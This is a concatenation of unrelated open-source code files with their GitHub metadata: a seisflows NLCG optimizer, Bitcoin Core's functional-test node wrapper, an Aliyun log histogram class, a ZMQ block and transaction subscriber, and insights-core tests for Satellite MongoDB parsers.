"ref": "refs/heads/master",
"path": "mlflow/utils/validation.py",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "CSS",
"bytes": "24965"
},
{
"name": "Dockerfile",
"bytes": "1206"
},
{
"name": "HTML",
"bytes": "16439"
},
{
"name": "Java",
"bytes": "276538"
},
{
"name": "JavaScript",
"bytes": "3606345"
},
{
"name": "Mako",
"bytes": "494"
},
{
"name": "Python",
"bytes": "6057051"
},
{
"name": "R",
"bytes": "202454"
},
{
"name": "Scala",
"bytes": "39353"
},
{
"name": "Shell",
"bytes": "27246"
},
{
"name": "TSQL",
"bytes": "211"
},
{
"name": "TypeScript",
"bytes": "313772"
}
],
"symlink_target": ""
} |
import os
import numpy as np
from seisflows.tools import unix
from seisflows.tools.math import dot
from seisflows.tools.tools import loadtxt, savetxt, loadnpy, savenpy
class NLCG:
""" Nonlinear conjugate gradient method
"""
def __init__(self, path='.', load=loadnpy, save=savenpy, thresh=1., maxiter=np.inf, precond=None):
self.path = path
self.load = load
self.save = save
self.maxiter = maxiter
self.thresh = thresh
self.precond = precond
try:
self.iter = loadtxt(self.path+'/'+'NLCG/iter')
except IOError:
unix.mkdir(self.path+'/'+'NLCG')
self.iter = 0
def __call__(self):
""" Returns NLCG search direction
"""
self.iter += 1
savetxt(self.path+'/'+'NLCG/iter', self.iter)
unix.cd(self.path)
g_new = self.load('g_new')
if self.iter == 1:
return -g_new, 0
elif self.iter > self.maxiter:
print 'restarting NLCG... [periodic restart]'
self.restart()
return -g_new, 1
# compute search direction
g_old = self.load('g_old')
p_old = self.load('p_old')
if self.precond:
beta = pollak_ribere(g_new, g_old, self.precond)
p_new = -self.precond(g_new) + beta*p_old
else:
beta = pollak_ribere(g_new, g_old)
p_new = -g_new + beta*p_old
# check restart conditions
if check_conjugacy(g_new, g_old) > self.thresh:
print 'restarting NLCG... [loss of conjugacy]'
self.restart()
return -g_new, 1
elif check_descent(p_new, g_new) > 0.:
print 'restarting NLCG... [not a descent direction]'
self.restart()
return -g_new, 1
else:
return p_new, 0
def restart(self):
""" Restarts algorithm
"""
self.iter = 1
savetxt(self.path+'/'+'NLCG/iter', self.iter)
### utility functions
def fletcher_reeves(g_new, g_old, precond=lambda x : x):
num = dot(precond(g_new), g_new)
den = dot(g_old, g_old)
beta = num/den
return beta
def pollak_ribere(g_new, g_old, precond=lambda x : x):
num = dot(precond(g_new), g_new-g_old)
den = dot(g_old, g_old)
beta = num/den
return beta
def check_conjugacy(g_new, g_old):
return abs(dot(g_new, g_old) / dot(g_new, g_new))
def check_descent(p_new, g_new):
return dot(p_new, g_new) / dot(g_new, g_new)
| {
"content_hash": "47ed93695b7daebddc895aade43fd529",
"timestamp": "",
"source": "github",
"line_count": 103,
"max_line_length": 102,
"avg_line_length": 24.650485436893202,
"alnum_prop": 0.5482473414730209,
"repo_name": "luan-th-nguyen/seisflows_ndt",
"id": "c283d27aa79b2c886db3ce4eeea8cfdeaa76592c",
"size": "2540",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "seisflows/plugins/optimize/NLCG.py",
"mode": "33188",
"license": "bsd-2-clause",
"language": [
{
"name": "Python",
"bytes": "294610"
},
{
"name": "Shell",
"bytes": "4112"
}
],
"symlink_target": ""
} |
default_app_config = 'imagerprofile.apps.ImagerProfileConfig' | {
"content_hash": "50a48a5a8c30f7d8f89c46100d2bd9b2",
"timestamp": "",
"source": "github",
"line_count": 1,
"max_line_length": 61,
"avg_line_length": 61,
"alnum_prop": 0.8524590163934426,
"repo_name": "nbeck90/django-imager",
"id": "161388ffdfa0b0ef1a2e1191f68d62b1fb922aa3",
"size": "61",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "imager/imagerprofile/__init__.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "CSS",
"bytes": "3880"
},
{
"name": "HTML",
"bytes": "10791"
},
{
"name": "Python",
"bytes": "41171"
}
],
"symlink_target": ""
} |
"""Class for bitcoind node under test"""
import contextlib
import decimal
import errno
from enum import Enum
import http.client
import json
import logging
import os
import re
import subprocess
import tempfile
import time
import urllib.parse
import collections
import shlex
import sys
from .authproxy import JSONRPCException
from .util import (
MAX_NODES,
append_config,
delete_cookie_file,
get_rpc_proxy,
rpc_url,
wait_until,
p2p_port,
EncodeDecimal,
)
BITCOIND_PROC_WAIT_TIMEOUT = 60
class FailedToStartError(Exception):
"""Raised when a node fails to start correctly."""
class ErrorMatch(Enum):
FULL_TEXT = 1
FULL_REGEX = 2
PARTIAL_REGEX = 3
class TestNode():
"""A class for representing a bitcoind node under test.
This class contains:
- state about the node (whether it's running, etc)
- a Python subprocess.Popen object representing the running process
- an RPC connection to the node
- one or more P2P connections to the node
To make things easier for the test writer, any unrecognised messages will
be dispatched to the RPC connection."""
def __init__(self, i, datadir, *, chain, rpchost, timewait, bitcoind, bitcoin_cli, coverage_dir, cwd, extra_conf=None, extra_args=None, use_cli=False, start_perf=False, use_valgrind=False, version=None):
"""
Kwargs:
start_perf (bool): If True, begin profiling the node with `perf` as soon as
the node starts.
"""
self.index = i
self.datadir = datadir
self.bitcoinconf = os.path.join(self.datadir, "bitcoin.conf")
self.stdout_dir = os.path.join(self.datadir, "stdout")
self.stderr_dir = os.path.join(self.datadir, "stderr")
self.chain = chain
self.rpchost = rpchost
self.rpc_timeout = timewait
self.binary = bitcoind
self.coverage_dir = coverage_dir
self.cwd = cwd
if extra_conf is not None:
append_config(datadir, extra_conf)
# Most callers will just need to add extra args to the standard list below.
# For those callers that need more flexibility, they can just set the args property directly.
# Note that common args are set in the config file (see initialize_datadir)
self.extra_args = extra_args
self.version = version
# Configuration for logging is set as command-line args rather than in the bitcoin.conf file.
# This means that starting a bitcoind using the temp dir to debug a failed test won't
# spam debug.log.
self.args = [
self.binary,
"-datadir=" + self.datadir,
"-logtimemicros",
"-debug",
"-debugexclude=libevent",
"-debugexclude=leveldb",
"-uacomment=testnode%d" % i,
]
if use_valgrind:
default_suppressions_file = os.path.join(
os.path.dirname(os.path.realpath(__file__)),
"..", "..", "..", "contrib", "valgrind.supp")
suppressions_file = os.getenv("VALGRIND_SUPPRESSIONS_FILE",
default_suppressions_file)
self.args = ["valgrind", "--suppressions={}".format(suppressions_file),
"--gen-suppressions=all", "--exit-on-first-error=yes",
"--error-exitcode=1", "--quiet"] + self.args
if self.version is None or self.version >= 190000:
self.args.append("-logthreadnames")
self.cli = TestNodeCLI(bitcoin_cli, self.datadir)
self.use_cli = use_cli
self.start_perf = start_perf
self.running = False
self.process = None
self.rpc_connected = False
self.rpc = None
self.url = None
self.log = logging.getLogger('TestFramework.node%d' % i)
self.cleanup_on_exit = True # Whether to kill the node when this object goes away
# Cache perf subprocesses here by their data output filename.
self.perf_subprocesses = {}
self.p2ps = []
AddressKeyPair = collections.namedtuple('AddressKeyPair', ['address', 'key'])
PRIV_KEYS = [
# address , privkey
AddressKeyPair('mjTkW3DjgyZck4KbiRusZsqTgaYTxdSz6z', 'cVpF924EspNh8KjYsfhgY96mmxvT6DgdWiTYMtMjuM74hJaU5psW'),
AddressKeyPair('msX6jQXvxiNhx3Q62PKeLPrhrqZQdSimTg', 'cUxsWyKyZ9MAQTaAhUQWJmBbSvHMwSmuv59KgxQV7oZQU3PXN3KE'),
AddressKeyPair('mnonCMyH9TmAsSj3M59DsbH8H63U3RKoFP', 'cTrh7dkEAeJd6b3MRX9bZK8eRmNqVCMH3LSUkE3dSFDyzjU38QxK'),
AddressKeyPair('mqJupas8Dt2uestQDvV2NH3RU8uZh2dqQR', 'cVuKKa7gbehEQvVq717hYcbE9Dqmq7KEBKqWgWrYBa2CKKrhtRim'),
AddressKeyPair('msYac7Rvd5ywm6pEmkjyxhbCDKqWsVeYws', 'cQDCBuKcjanpXDpCqacNSjYfxeQj8G6CAtH1Dsk3cXyqLNC4RPuh'),
AddressKeyPair('n2rnuUnwLgXqf9kk2kjvVm8R5BZK1yxQBi', 'cQakmfPSLSqKHyMFGwAqKHgWUiofJCagVGhiB4KCainaeCSxeyYq'),
AddressKeyPair('myzuPxRwsf3vvGzEuzPfK9Nf2RfwauwYe6', 'cQMpDLJwA8DBe9NcQbdoSb1BhmFxVjWD5gRyrLZCtpuF9Zi3a9RK'),
AddressKeyPair('mumwTaMtbxEPUswmLBBN3vM9oGRtGBrys8', 'cSXmRKXVcoouhNNVpcNKFfxsTsToY5pvB9DVsFksF1ENunTzRKsy'),
AddressKeyPair('mpV7aGShMkJCZgbW7F6iZgrvuPHjZjH9qg', 'cSoXt6tm3pqy43UMabY6eUTmR3eSUYFtB2iNQDGgb3VUnRsQys2k'),
AddressKeyPair('mq4fBNdckGtvY2mijd9am7DRsbRB4KjUkf', 'cN55daf1HotwBAgAKWVgDcoppmUNDtQSfb7XLutTLeAgVc3u8hik'),
AddressKeyPair('mpFAHDjX7KregM3rVotdXzQmkbwtbQEnZ6', 'cT7qK7g1wkYEMvKowd2ZrX1E5f6JQ7TM246UfqbCiyF7kZhorpX3'),
AddressKeyPair('mzRe8QZMfGi58KyWCse2exxEFry2sfF2Y7', 'cPiRWE8KMjTRxH1MWkPerhfoHFn5iHPWVK5aPqjW8NxmdwenFinJ'),
]
def get_deterministic_priv_key(self):
"""Return a deterministic priv key in base58, that only depends on the node's index"""
assert len(self.PRIV_KEYS) == MAX_NODES
return self.PRIV_KEYS[self.index]
def _node_msg(self, msg: str) -> str:
"""Return a modified msg that identifies this node by its index as a debugging aid."""
return "[node %d] %s" % (self.index, msg)
def _raise_assertion_error(self, msg: str):
"""Raise an AssertionError with msg modified to identify this node."""
raise AssertionError(self._node_msg(msg))
def __del__(self):
# Ensure that we don't leave any bitcoind processes lying around after
# the test ends
if self.process and self.cleanup_on_exit:
# Should only happen on test failure
# Avoid using logger, as that may have already been shutdown when
# this destructor is called.
print(self._node_msg("Cleaning up leftover process"))
self.process.kill()
def __getattr__(self, name):
"""Dispatches any unrecognised messages to the RPC connection or a CLI instance."""
if self.use_cli:
return getattr(self.cli, name)
else:
assert self.rpc_connected and self.rpc is not None, self._node_msg("Error: no RPC connection")
return getattr(self.rpc, name)
def start(self, extra_args=None, *, cwd=None, stdout=None, stderr=None, **kwargs):
"""Start the node."""
if extra_args is None:
extra_args = self.extra_args
# Add a new stdout and stderr file each time bitcoind is started
if stderr is None:
stderr = tempfile.NamedTemporaryFile(dir=self.stderr_dir, delete=False)
if stdout is None:
stdout = tempfile.NamedTemporaryFile(dir=self.stdout_dir, delete=False)
self.stderr = stderr
self.stdout = stdout
if cwd is None:
cwd = self.cwd
# Delete any existing cookie file -- if such a file exists (eg due to
# unclean shutdown), it will get overwritten anyway by bitcoind, and
# potentially interfere with our attempt to authenticate
delete_cookie_file(self.datadir, self.chain)
# add environment variable LIBC_FATAL_STDERR_=1 so that libc errors are written to stderr and not the terminal
subp_env = dict(os.environ, LIBC_FATAL_STDERR_="1")
self.process = subprocess.Popen(self.args + extra_args, env=subp_env, stdout=stdout, stderr=stderr, cwd=cwd, **kwargs)
self.running = True
self.log.debug("bitcoind started, waiting for RPC to come up")
if self.start_perf:
self._start_perf()
def wait_for_rpc_connection(self):
"""Sets up an RPC connection to the bitcoind process. Returns False if unable to connect."""
# Poll at a rate of four times per second
poll_per_s = 4
for _ in range(poll_per_s * self.rpc_timeout):
if self.process.poll() is not None:
raise FailedToStartError(self._node_msg(
'bitcoind exited with status {} during initialization'.format(self.process.returncode)))
try:
rpc = get_rpc_proxy(rpc_url(self.datadir, self.index, self.chain, self.rpchost), self.index, timeout=self.rpc_timeout, coveragedir=self.coverage_dir)
rpc.getblockcount()
# If the call to getblockcount() succeeds then the RPC connection is up
self.log.debug("RPC successfully started")
if self.use_cli:
return
self.rpc = rpc
self.rpc_connected = True
self.url = self.rpc.url
return
except IOError as e:
if e.errno != errno.ECONNREFUSED: # Port not yet open?
raise # unknown IO error
except JSONRPCException as e: # Initialization phase
# -28 RPC in warmup
# -342 Service unavailable, RPC server started but is shutting down due to error
if e.error['code'] != -28 and e.error['code'] != -342:
raise # unknown JSON RPC exception
except ValueError as e: # cookie file not found and no rpcuser or rpcassword. bitcoind still starting
if "No RPC credentials" not in str(e):
raise
time.sleep(1.0 / poll_per_s)
self._raise_assertion_error("Unable to connect to bitcoind")
def generate(self, nblocks, maxtries=1000000):
self.log.debug("TestNode.generate() dispatches `generate` call to `generatetoaddress`")
return self.generatetoaddress(nblocks=nblocks, address=self.get_deterministic_priv_key().address, maxtries=maxtries)
def get_wallet_rpc(self, wallet_name):
if self.use_cli:
return self.cli("-rpcwallet={}".format(wallet_name))
else:
assert self.rpc_connected and self.rpc, self._node_msg("RPC not connected")
wallet_path = "wallet/{}".format(urllib.parse.quote(wallet_name))
return self.rpc / wallet_path
def stop_node(self, expected_stderr='', wait=0):
"""Stop the node."""
if not self.running:
return
self.log.debug("Stopping node")
try:
# Do not use wait argument when testing older nodes, e.g. in feature_backwards_compatibility.py
if self.version is None or self.version >= 180000:
self.stop(wait=wait)
else:
self.stop()
except http.client.CannotSendRequest:
self.log.exception("Unable to stop node.")
# If there are any running perf processes, stop them.
for profile_name in tuple(self.perf_subprocesses.keys()):
self._stop_perf(profile_name)
# Check that stderr is as expected
self.stderr.seek(0)
stderr = self.stderr.read().decode('utf-8').strip()
if stderr != expected_stderr:
raise AssertionError("Unexpected stderr {} != {}".format(stderr, expected_stderr))
self.stdout.close()
self.stderr.close()
del self.p2ps[:]
def is_node_stopped(self):
"""Checks whether the node has stopped.
Returns True if the node has stopped. False otherwise.
This method is responsible for freeing resources (self.process)."""
if not self.running:
return True
return_code = self.process.poll()
if return_code is None:
return False
# process has stopped. Assert that it didn't return an error code.
assert return_code == 0, self._node_msg(
"Node returned non-zero exit code (%d) when stopping" % return_code)
self.running = False
self.process = None
self.rpc_connected = False
self.rpc = None
self.log.debug("Node stopped")
return True
def wait_until_stopped(self, timeout=BITCOIND_PROC_WAIT_TIMEOUT):
wait_until(self.is_node_stopped, timeout=timeout)
@contextlib.contextmanager
def assert_debug_log(self, expected_msgs, unexpected_msgs=None, timeout=2):
if unexpected_msgs is None:
unexpected_msgs = []
time_end = time.time() + timeout
debug_log = os.path.join(self.datadir, self.chain, 'debug.log')
with open(debug_log, encoding='utf-8') as dl:
dl.seek(0, 2)
prev_size = dl.tell()
yield
while True:
found = True
with open(debug_log, encoding='utf-8') as dl:
dl.seek(prev_size)
log = dl.read()
print_log = " - " + "\n - ".join(log.splitlines())
for unexpected_msg in unexpected_msgs:
if re.search(re.escape(unexpected_msg), log, flags=re.MULTILINE):
self._raise_assertion_error('Unexpected message "{}" partially matches log:\n\n{}\n\n'.format(unexpected_msg, print_log))
for expected_msg in expected_msgs:
if re.search(re.escape(expected_msg), log, flags=re.MULTILINE) is None:
found = False
if found:
return
if time.time() >= time_end:
break
time.sleep(0.05)
self._raise_assertion_error('Expected messages "{}" does not partially match log:\n\n{}\n\n'.format(str(expected_msgs), print_log))
@contextlib.contextmanager
def profile_with_perf(self, profile_name):
"""
Context manager that allows easy profiling of node activity using `perf`.
See `test/functional/README.md` for details on perf usage.
Args:
profile_name (str): This string will be appended to the
profile data filename generated by perf.
"""
subp = self._start_perf(profile_name)
yield
if subp:
self._stop_perf(profile_name)
def _start_perf(self, profile_name=None):
"""Start a perf process to profile this node.
Returns the subprocess running perf."""
subp = None
def test_success(cmd):
return subprocess.call(
# shell=True required for pipe use below
cmd, shell=True,
stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL) == 0
if not sys.platform.startswith('linux'):
self.log.warning("Can't profile with perf; only available on Linux platforms")
return None
if not test_success('which perf'):
self.log.warning("Can't profile with perf; must install perf-tools")
return None
if not test_success('readelf -S {} | grep .debug_str'.format(shlex.quote(self.binary))):
self.log.warning(
"perf output won't be very useful without debug symbols compiled into bitcoind")
output_path = tempfile.NamedTemporaryFile(
dir=self.datadir,
prefix="{}.perf.data.".format(profile_name or 'test'),
delete=False,
).name
cmd = [
'perf', 'record',
'-g', # Record the callgraph.
'--call-graph', 'dwarf', # Compatibility for gcc's --fomit-frame-pointer.
'-F', '101', # Sampling frequency in Hz.
'-p', str(self.process.pid),
'-o', output_path,
]
subp = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
self.perf_subprocesses[profile_name] = subp
return subp
def _stop_perf(self, profile_name):
"""Stop (and pop) a perf subprocess."""
subp = self.perf_subprocesses.pop(profile_name)
output_path = subp.args[subp.args.index('-o') + 1]
subp.terminate()
subp.wait(timeout=10)
stderr = subp.stderr.read().decode()
if 'Consider tweaking /proc/sys/kernel/perf_event_paranoid' in stderr:
self.log.warning(
"perf couldn't collect data! Try "
"'sudo sysctl -w kernel.perf_event_paranoid=-1'")
else:
report_cmd = "perf report -i {}".format(output_path)
self.log.info("See perf output by running '{}'".format(report_cmd))
def assert_start_raises_init_error(self, extra_args=None, expected_msg=None, match=ErrorMatch.FULL_TEXT, *args, **kwargs):
"""Attempt to start the node and expect it to raise an error.
extra_args: extra arguments to pass through to bitcoind
expected_msg: regex that stderr should match when bitcoind fails
Will throw if bitcoind starts without an error.
Will throw if an expected_msg is provided and it does not match bitcoind's stdout."""
with tempfile.NamedTemporaryFile(dir=self.stderr_dir, delete=False) as log_stderr, \
tempfile.NamedTemporaryFile(dir=self.stdout_dir, delete=False) as log_stdout:
try:
self.start(extra_args, stdout=log_stdout, stderr=log_stderr, *args, **kwargs)
self.wait_for_rpc_connection()
self.stop_node()
self.wait_until_stopped()
except FailedToStartError as e:
self.log.debug('bitcoind failed to start: %s', e)
self.running = False
self.process = None
# Check stderr for expected message
if expected_msg is not None:
log_stderr.seek(0)
stderr = log_stderr.read().decode('utf-8').strip()
if match == ErrorMatch.PARTIAL_REGEX:
if re.search(expected_msg, stderr, flags=re.MULTILINE) is None:
self._raise_assertion_error(
'Expected message "{}" does not partially match stderr:\n"{}"'.format(expected_msg, stderr))
elif match == ErrorMatch.FULL_REGEX:
if re.fullmatch(expected_msg, stderr) is None:
self._raise_assertion_error(
'Expected message "{}" does not fully match stderr:\n"{}"'.format(expected_msg, stderr))
elif match == ErrorMatch.FULL_TEXT:
if expected_msg != stderr:
self._raise_assertion_error(
'Expected message "{}" does not fully match stderr:\n"{}"'.format(expected_msg, stderr))
else:
if expected_msg is None:
assert_msg = "bitcoind should have exited with an error"
else:
assert_msg = "bitcoind should have exited with expected error " + expected_msg
self._raise_assertion_error(assert_msg)
def add_p2p_connection(self, p2p_conn, *, wait_for_verack=True, **kwargs):
"""Add a p2p connection to the node.
This method adds the p2p connection to the self.p2ps list and also
returns the connection to the caller."""
if 'dstport' not in kwargs:
kwargs['dstport'] = p2p_port(self.index)
if 'dstaddr' not in kwargs:
kwargs['dstaddr'] = '127.0.0.1'
p2p_conn.peer_connect(**kwargs, net=self.chain)()
self.p2ps.append(p2p_conn)
if wait_for_verack:
p2p_conn.wait_for_verack()
return p2p_conn
@property
def p2p(self):
"""Return the first p2p connection
Convenience property - most tests only use a single p2p connection to each
node, so this saves having to write node.p2ps[0] many times."""
assert self.p2ps, self._node_msg("No p2p connection")
return self.p2ps[0]
def disconnect_p2ps(self):
"""Close all p2p connections to the node."""
for p in self.p2ps:
p.peer_disconnect()
del self.p2ps[:]
class TestNodeCLIAttr:
def __init__(self, cli, command):
self.cli = cli
self.command = command
def __call__(self, *args, **kwargs):
return self.cli.send_cli(self.command, *args, **kwargs)
def get_request(self, *args, **kwargs):
return lambda: self(*args, **kwargs)
def arg_to_cli(arg):
if isinstance(arg, bool):
return str(arg).lower()
elif isinstance(arg, dict) or isinstance(arg, list):
return json.dumps(arg, default=EncodeDecimal)
else:
return str(arg)
class TestNodeCLI():
"""Interface to bitcoin-cli for an individual node"""
def __init__(self, binary, datadir):
self.options = []
self.binary = binary
self.datadir = datadir
self.input = None
self.log = logging.getLogger('TestFramework.bitcoincli')
def __call__(self, *options, input=None):
# TestNodeCLI is callable with bitcoin-cli command-line options
cli = TestNodeCLI(self.binary, self.datadir)
cli.options = [str(o) for o in options]
cli.input = input
return cli
def __getattr__(self, command):
return TestNodeCLIAttr(self, command)
def batch(self, requests):
results = []
for request in requests:
try:
results.append(dict(result=request()))
except JSONRPCException as e:
results.append(dict(error=e))
return results
def send_cli(self, command=None, *args, **kwargs):
"""Run bitcoin-cli command. Deserializes returned string as python object."""
pos_args = [arg_to_cli(arg) for arg in args]
named_args = [str(key) + "=" + arg_to_cli(value) for (key, value) in kwargs.items()]
assert not (pos_args and named_args), "Cannot use positional arguments and named arguments in the same bitcoin-cli call"
p_args = [self.binary, "-datadir=" + self.datadir] + self.options
if named_args:
p_args += ["-named"]
if command is not None:
p_args += [command]
p_args += pos_args + named_args
self.log.debug("Running bitcoin-cli command: %s" % command)
process = subprocess.Popen(p_args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True)
cli_stdout, cli_stderr = process.communicate(input=self.input)
returncode = process.poll()
if returncode:
match = re.match(r'error code: ([-0-9]+)\nerror message:\n(.*)', cli_stderr)
if match:
code, message = match.groups()
raise JSONRPCException(dict(code=int(code), message=message))
# Ignore cli_stdout, raise with cli_stderr
raise subprocess.CalledProcessError(returncode, self.binary, output=cli_stderr)
try:
return json.loads(cli_stdout, parse_float=decimal.Decimal)
except json.JSONDecodeError:
return cli_stdout.rstrip("\n")
| {
"content_hash": "251f8df967f4562ef5dc667e78ce3f7c",
"timestamp": "",
"source": "github",
"line_count": 559,
"max_line_length": 207,
"avg_line_length": 42.32379248658319,
"alnum_prop": 0.607887062006002,
"repo_name": "mitchellcash/bitcoin",
"id": "c7559ac7c899eca3d7a3b1589f6b5ae29e71d9ef",
"size": "23873",
"binary": false,
"copies": "2",
"ref": "refs/heads/master",
"path": "test/functional/test_framework/test_node.py",
"mode": "33261",
"license": "mit",
"language": [
{
"name": "Assembly",
"bytes": "28453"
},
{
"name": "C",
"bytes": "682804"
},
{
"name": "C++",
"bytes": "5854094"
},
{
"name": "HTML",
"bytes": "21860"
},
{
"name": "Java",
"bytes": "30290"
},
{
"name": "M4",
"bytes": "200931"
},
{
"name": "Makefile",
"bytes": "116428"
},
{
"name": "Objective-C",
"bytes": "148160"
},
{
"name": "Objective-C++",
"bytes": "6614"
},
{
"name": "Python",
"bytes": "1398667"
},
{
"name": "QMake",
"bytes": "756"
},
{
"name": "Shell",
"bytes": "73796"
}
],
"symlink_target": ""
} |
# Copyright (C) Alibaba Cloud Computing
# All rights reserved.
class Histogram:
"""
The class used to present the result of log histogram status. For every log
histogram, it contains : from/to time range, hit log count and query
completed status.
:type fromTime: int
:param fromTime: the begin time
:type toTime: int
:param toTime: the end time
:type count: int
:param count: log count of histogram that query hits
:type progress: string
:param progress: histogram query status(Complete or InComplete)
"""
def __init__(self, fromTime, toTime, count, progress):
self.fromTime = fromTime
self.toTime = toTime
self.count = count
self.progress = progress
def get_from(self):
""" Get begin time
:return: int, begin time
"""
return self.fromTime
def get_to(self):
""" Get end time
:return: int, end time
"""
return self.toTime
def get_count(self):
""" Get log count of histogram that query hits
:return: int, log count of histogram that query hits
"""
return self.count
def is_completed(self):
""" Check if the histogram is completed
:return: bool, true if this histogram is completed
"""
return self.progress=='Complete'
def log_print(self):
print 'Histogram:'
print 'from:', self.fromTime
print 'to:', self.toTime
print 'count:', self.count
print 'progress:', self.progress
| {
"content_hash": "39d9d4f6e634ebb35b2e0d79917bd462",
"timestamp": "",
"source": "github",
"line_count": 65,
"max_line_length": 79,
"avg_line_length": 26.307692307692307,
"alnum_prop": 0.5526315789473685,
"repo_name": "amorwilliams/gsoops",
"id": "6120a88036c5849686d7dad9d5acc52712dc61aa",
"size": "1751",
"binary": false,
"copies": "2",
"ref": "refs/heads/master",
"path": "server/libs/aliyun-sls-sdk-python-0.6.0/build/lib.linux-x86_64-2.7/aliyun/log/histogram.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "CSS",
"bytes": "660718"
},
{
"name": "HTML",
"bytes": "110733"
},
{
"name": "JavaScript",
"bytes": "2482224"
},
{
"name": "Protocol Buffer",
"bytes": "441"
},
{
"name": "Python",
"bytes": "521960"
},
{
"name": "Shell",
"bytes": "400"
}
],
"symlink_target": ""
} |
import array
import binascii
import zmq
import struct
port = 25555
zmqContext = zmq.Context()
zmqSubSocket = zmqContext.socket(zmq.SUB)
zmqSubSocket.setsockopt(zmq.SUBSCRIBE, "hashblock")
zmqSubSocket.setsockopt(zmq.SUBSCRIBE, "hashtx")
zmqSubSocket.setsockopt(zmq.SUBSCRIBE, "rawblock")
zmqSubSocket.setsockopt(zmq.SUBSCRIBE, "rawtx")
zmqSubSocket.connect("tcp://127.0.0.1:%i" % port)
try:
while True:
msg = zmqSubSocket.recv_multipart()
topic = str(msg[0])
body = msg[1]
sequence = "Unknown";
if len(msg[-1]) == 4:
msgSequence = struct.unpack('<I', msg[-1])[-1]
sequence = str(msgSequence)
if topic == "hashblock":
print '- HASH BLOCK ('+sequence+') -'
print binascii.hexlify(body)
elif topic == "hashtx":
print '- HASH TX ('+sequence+') -'
print binascii.hexlify(body)
elif topic == "rawblock":
print '- RAW BLOCK HEADER ('+sequence+') -'
print binascii.hexlify(body[:80])
elif topic == "rawtx":
print '- RAW TX ('+sequence+') -'
print binascii.hexlify(body)
except KeyboardInterrupt:
zmqContext.destroy()
| {
"content_hash": "01be4f29af7827e4928e99dbb94ffe8b",
"timestamp": "",
"source": "github",
"line_count": 39,
"max_line_length": 56,
"avg_line_length": 31.025641025641026,
"alnum_prop": 0.6016528925619835,
"repo_name": "navcoindev/navcoin-core",
"id": "d66ecfa8c1c0701ccd04b664bea8db8e361d6ac9",
"size": "1234",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "contrib/zmq/zmq_sub.py",
"mode": "33261",
"license": "mit",
"language": [
{
"name": "C",
"bytes": "3655915"
},
{
"name": "C++",
"bytes": "4954999"
},
{
"name": "CSS",
"bytes": "1127"
},
{
"name": "HTML",
"bytes": "50621"
},
{
"name": "Java",
"bytes": "2100"
},
{
"name": "M4",
"bytes": "176582"
},
{
"name": "Makefile",
"bytes": "105930"
},
{
"name": "Objective-C",
"bytes": "3771"
},
{
"name": "Objective-C++",
"bytes": "7240"
},
{
"name": "Protocol Buffer",
"bytes": "2308"
},
{
"name": "Python",
"bytes": "946426"
},
{
"name": "QMake",
"bytes": "2020"
},
{
"name": "Roff",
"bytes": "3792"
},
{
"name": "Shell",
"bytes": "426873"
}
],
"symlink_target": ""
} |
import pytest
import doctest
from insights.tests import context_wrap
from insights.parsers import SkipException, ParseException
from insights.parsers import satellite_mongodb
MONGO_PULP_STORAGE_ENGINE_OUTPUT1 = '''
MongoDB shell version v3.4.9
connecting to: mongodb://127.0.0.1:27017/pulp_database
MongoDB server version: 3.4.9
{
"name" : "wiredTiger",
"supportsCommittedReads" : true,
"readOnly" : false,
"persistent" : true
}
'''
MONGO_PULP_STORAGE_ENGINE_OUTPUT2 = '''
MongoDB shell version v3.4.9
connecting to: mongodb://127.0.0.1:27017/pulp_database
MongoDB server version: 3.4.9
'''
MONGO_PULP_STORAGE_ENGINE_OUTPUT3 = '''
MongoDB shell version v3.4.9
connecting to: mongodb://127.0.0.1:27017/pulp_database
2020-02-13T23:19:57.750-0500 W NETWORK [thread1] Failed to connect to 127.0.0.1:27017, in(checking socket for error after poll), reason: Connection refused
2020-02-13T23:19:57.751-0500 E QUERY [thread1] Error: couldn't connect to server 127.0.0.1:27017, connection attempt failed :
connect@src/mongo/shell/mongo.js:237:13
@(connect):1:6
exception: connect failed
'''.strip()
MONGO_PULP_STORAGE_ENGINE_OUTPUT4 = '''
MongoDB shell version v3.4.9
connecting to: mongodb://127.0.0.1:27017/pulp_database
{
"name" wrong data
}
'''.strip()
MONGO_PULP_NON_YUM_TYPE_REPOS_OUTPUT1 = """
0
"""
MONGO_PULP_NON_YUM_TYPE_REPOS_OUTPUT2 = """
MongoDB shell version v3.4.9
connecting to: mongodb://127.0.0.1:27017/pulp_database
MongoDB server version: 3.4.9
0
"""
MONGO_PULP_NON_YUM_TYPE_REPOS_OUTPUT3 = """
MongoDB shell version v3.4.9
connecting to: mongodb://127.0.0.1:27017/pulp_database
MongoDB server version: 3.4.9
ab
"""
def test_doc_examples():
engine_output = satellite_mongodb.MongoDBStorageEngine(context_wrap(MONGO_PULP_STORAGE_ENGINE_OUTPUT1))
repos_output = satellite_mongodb.MongoDBNonYumTypeRepos(context_wrap(MONGO_PULP_NON_YUM_TYPE_REPOS_OUTPUT2))
globs = {
'satellite_storage_engine': engine_output,
'satellite_non_yum_type_repos': repos_output
}
failed, tested = doctest.testmod(satellite_mongodb, globs=globs)
assert failed == 0
def test_satellite():
output = satellite_mongodb.MongoDBStorageEngine(context_wrap(MONGO_PULP_STORAGE_ENGINE_OUTPUT1))
assert output['supportsCommittedReads'] == 'true'
assert output['readOnly'] == 'false'
assert output['persistent'] == 'true'
def test_no_storage_engine():
with pytest.raises(SkipException):
satellite_mongodb.MongoDBStorageEngine(context_wrap(MONGO_PULP_STORAGE_ENGINE_OUTPUT2))
with pytest.raises(SkipException):
satellite_mongodb.MongoDBStorageEngine(context_wrap(MONGO_PULP_STORAGE_ENGINE_OUTPUT3))
with pytest.raises(ParseException):
satellite_mongodb.MongoDBStorageEngine(context_wrap(MONGO_PULP_STORAGE_ENGINE_OUTPUT4))
def test_bad_yum_repos_output():
with pytest.raises(SkipException):
satellite_mongodb.MongoDBNonYumTypeRepos(context_wrap(MONGO_PULP_NON_YUM_TYPE_REPOS_OUTPUT1))
with pytest.raises(SkipException):
satellite_mongodb.MongoDBNonYumTypeRepos(context_wrap(MONGO_PULP_NON_YUM_TYPE_REPOS_OUTPUT3))
| {
"content_hash": "046ca2e179eb522dbbb460a0db80a5f0",
